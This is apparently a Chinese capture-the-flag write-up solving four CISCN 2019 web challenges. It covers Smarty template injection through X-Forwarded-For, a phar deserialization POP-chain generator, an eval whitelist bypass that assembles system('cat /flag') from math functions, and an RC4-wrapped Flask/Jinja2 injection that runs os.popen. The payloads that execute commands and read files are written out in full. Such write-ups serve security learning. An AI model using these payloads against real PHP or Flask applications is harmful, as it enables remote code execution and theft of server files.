[CISCN2019 华东南赛区]Web11
考察知识点
1.SSTI(smarty模板)
2.X-Forwarded-For(HTTP请求头字段)
注意最下面的
Build With Smarty!
, 猜测是smarty模板注入。smart是php的模板引擎,模板引擎的作用就是分离前端页面和数据的,题目中显示API的URL由于环境的原因无法使用,但我们的IP依旧显示在了页面的右上角,且根据它的提示XFF我们很容易想到,在X-Forwarded-For里构造ssti:payload。
开始用bp抓包,然后插入X-Forwarded-For:
{$smarty.version}
来看一下版本。
回显,版本为3.1.30,说明是smarty模板注入
同时回显中也可发现,php版本是7.3.5,那么这样的话<script language="php">phpinfo();</script> ,就无法使用同时smarty的版本是3,所以{php}{/php}也无法使用。
但是smarty的if标签也可以执行php代码
虽然php标签不能用,但是还有个{if}标签。
Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP条件表达式和函数都可以在if内使用,如*||*,or,&&,and,is_array(), 等等
既然全部的PHP条件表达式和函数都可以在if内使用,那我们在里面写php代码也行。
通过一串代码{if phpinfo()}{/if}来了解一下,它的漏洞为什么会产生。
** 因为
smarty
中的
{if}
标签中可以执行
php
语句**
构建payload1
{if readfile('/flag')}{/if}
插入X-Forwarded-For:
{if readfile('/flag')}{/if}
在网站里查看一下html代码就可以找到flag了。
PS
payload2:{if system('cat /flag')}{/if}
payload3:{if system('cat /flag')}{/if}
[CISCN 2019华北Day1]Web1
考点:代码审计,phar反序列化
参考文章:[CTF]PHP反序列化总结_Y4tacker的博客-CSDN博客_ctf php反序列化
前置知识
要简单了解的是phar的四个部分:
1,stub
phar 文件的表示,以 xxxxxx<?php xxx;__HALT__COMPILER();?> 为固定形式,前面内容可以变,点必须 __HALT__COMPILER();?>结尾。
2,a mainfest describing the contents
该部分是phar文件中被压缩的文件的一些信息,其中meta-data部分的信息会被序列化,即执行serialize()函数,而phar://就相当于对这部分的内容进行反序列化,此处也正是漏洞点所在。
3,the file contents
这部分存储的是文件的内容,在没有其它特殊要求的情况下,这里面的内容不做约束。
- a signature for verifying Phar integrity
数字前面 ,在最末尾。
前提条件
1.. phar 文件可以上传至服务器。
- 文件操作入 file_exists() .file_get_content(),fopen() ,要有可利用的魔术方法作为跳板
3.文件流参数可控,且phar://协议可用 / phar 等特殊字符没有被过滤
打开题目后,一个登录页面
随便注册一下,登录上去
注意
左上角有一个上传文件
,我们先随便建个文档上传提交,发现它要求得文件类型只能是gif/jpg/png的类型,然后进一步测试发现,只更改文件后缀名是没有用的,需要抓包更改其Content-Type为image/jpeg或其它图片格式的对应字符串。
也可以参考一下这个大佬的文章
[CISCN2019 华北赛区 Day1 Web1]Dropbox-CSDN博客
这时候构造
phar.phar
进行上传
pop链:
<?php
class User {
public $db;
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$file = new File();
$file->filename = '/flag.txt';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}
class File {
public $filename;
}
ini_set('phar.readonly',0);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new User();
$o->db = new FileList();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "glzjin"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
注意:想要生成phar文件记得把php.ini中的phar.readonly选项设置为Off,否则将无法生成phar文件
构造出来的
phar.phar
重新命名为
phar.jpg
然后进行上传
之后访问**
/delete.php
**、post传参
filename=phar://phar.jpg/exp.txt
得到flag
[CISCN 2019初赛]Love Math
打开题目,源码如下
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
先进行代码审计:这段PHP代码是一个数学计算器,它接受一个GET参数
c
,然后对其进行计算。首先,它会检查参数
c
是否包含非法字符或函数,如果包含,则返回错误信息。如果参数合法,它将使用PHP的数学函数进行计算并输出结果。
黑名单字符:单双引号(' ")、反引号(`)、中括号([ ])。这里说明几点:
单双引号的禁用说明字符串是无法使用的,可以用返回值为字符串的函数返回。
反引号的禁用说明无法使用命令执行,
中括号是用来访问数组的元素,可以用花括号({})代替。
白名单是一系列的数学函数。首先在里面寻找能够返回字符串的函数,
- base_convert:2到36进制之间的任意转换。
- decbin:十进制转到二进制。
- dechex:十进制转换为十六进制。
- decoct:十进制转换为八进制。
我们的最终目标通过最后一句代码,
eval('echo '.$content.';');
执行语句system(“cat /flag”)
黑名单中禁止了引号
"
,这一点利用动态函数的性质绕过,即字符串做函数名,加上括号即可被当作函数执行,如下:
c=($_GET[a])($_GET[b])&a=system&b=cat /flag
_GET通过白名单中的编码函数得到,PL如下
base_convert(37907361743,10,36)(dechex(1598506324))
考虑能将某种进制的数字字符串转换成特定字符串的函数,类似hex2bin(),因为 hex2bin() 接收的十六进制数字字符串("5f474554")可以由整型数字(1598506324)通过 dechex() 函数转换得到,而 hex2bin() 返回一个特定的字符串。
1.base_convert(37907361743,10,36)=>“hex2bin”
2.dechex(1598506324)=>“5f474554”
3.hex2bin(“5f474554”)=>_GET
用白名单中的变量pi来保存一下
构建最后payload:
?c=$pi=base_convert(26941962055,10,34)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag
$pi=_GET
,
pi=system,cos=cat /flag
分号后面语句的
$$pi
就是$_GET
翻译过来分号后面就是
_GET{pi}(_GET{cos})&pi=system&cos=cat /flag
通俗的讲
根据代码意思,应该就是通过使用白名单函数或者当成变量来使用,同时要求长度小于80
看到最后的exec,我们需要构造出system($_GET['a']),而这个已经被挡住了,我们可以传入a=system,b=cat /flag来获取flag
但还是需要得到_GET,另外中括号可以用大括号代替
base_convert(number,frombase,tobase);
将number从frombase进制转化为tobase进制
hex2bin()
把十六进制值转换为 ASCII 字符:
dechex()
把10进制转换为16进制
有base_convert(26941962055,10,34)即hex2bin 26941962055是base_convert("hex2bin",34,10)得来的,至于为什么34,我试过34之前的,都无法完整拼出henx2bin,到34就能
然后找到_GET的ascii码之后再转为16进制之后10进制即1598506324
dechex(1598506324)得到_GET的16进制,再通过hex2bin得出_GET
最后构建出payload
?c=$pi=base_convert(26941962055,10,34)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag
[CISCN2019 华东南赛区]Double Secret
进入环境
查看源码、抓包都没有发现特别的提示,可以用御剑扫一扫后台目录,发现了/secret这个路径,访问一下,页面内容为Tell me your secret.I will encrypt it so others can't see,猜测是GET型传参,试试/secret?secret=1,回显d,综合来看是对传入的secret进行了某种加密后回显。几经尝试,
当传入?secret=11111时,页面报错,多传点东西也会报错。
在报错页面发现了
app.py
的报错,点开有部分源码泄露
逻辑就是对传入的secret进行RC4加密,且密钥已知,
safe()
函数猜测是对恶意代码的过滤,然后模板渲染。这是flask的模板,而且用了
render_template_string
,很明显存在ssti(flask 模板注入漏洞)
RC4加密
先来看看RC4加密解密,RC4(来自Rivest Cipher 4的缩写)是一种流加密算法,密钥长度可变。它加解密使用相同的密钥,因此也属于对称加密算法。所谓对称加密,就是加密和解密的过程是一样的。RC4加密原理很简单,只需要一个KeyStream与明文进行异或即可,密钥流的长度和明文的长度是对应的。RC4算法的的主要代码还是在于如何生成秘钥流。
用一下大神的脚本
import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box
def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
print("%s" %quote(cipher))
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{lipsum.__globals__.__builtins__.eval(\"__import__('os').popen('cat /flag.txt').read()\")}}")
跑一下就可以了
构建payload
/secret?secret=.%14U%5C%C2%BA%14%1Ec%25%C2%A2%C3%A7%14%C2%B2%C2%BD%C3%B4%C2%A98%C2%80k%0B%C3%B9m%C3%9Fp%1F%C2%984%C2%9D%5B%C3%82%21%C3%98%12%C3%85H%C3%80%09%C3%BD%60%C2%A6D%C3%A5%C2%84%C3%AF%7D%01%C2%AF%0E%C2%9A%C2%82%0E%2Bm%C3%B8m%25%C3%99/G%C3%94%C2%BCDY%C2%B2%C2%97%18%C2%AE%09uB%3B%C3%A8H%C2%95-%C3%B8h%C3%94%21%17%2C3D%C2%8B%C2%9E%12%C3%BA%C3%BF%C2%BB%C3%9A
就拿到flag了。
版权归原作者 继续学吧 所有, 如有侵权,请联系我们删除。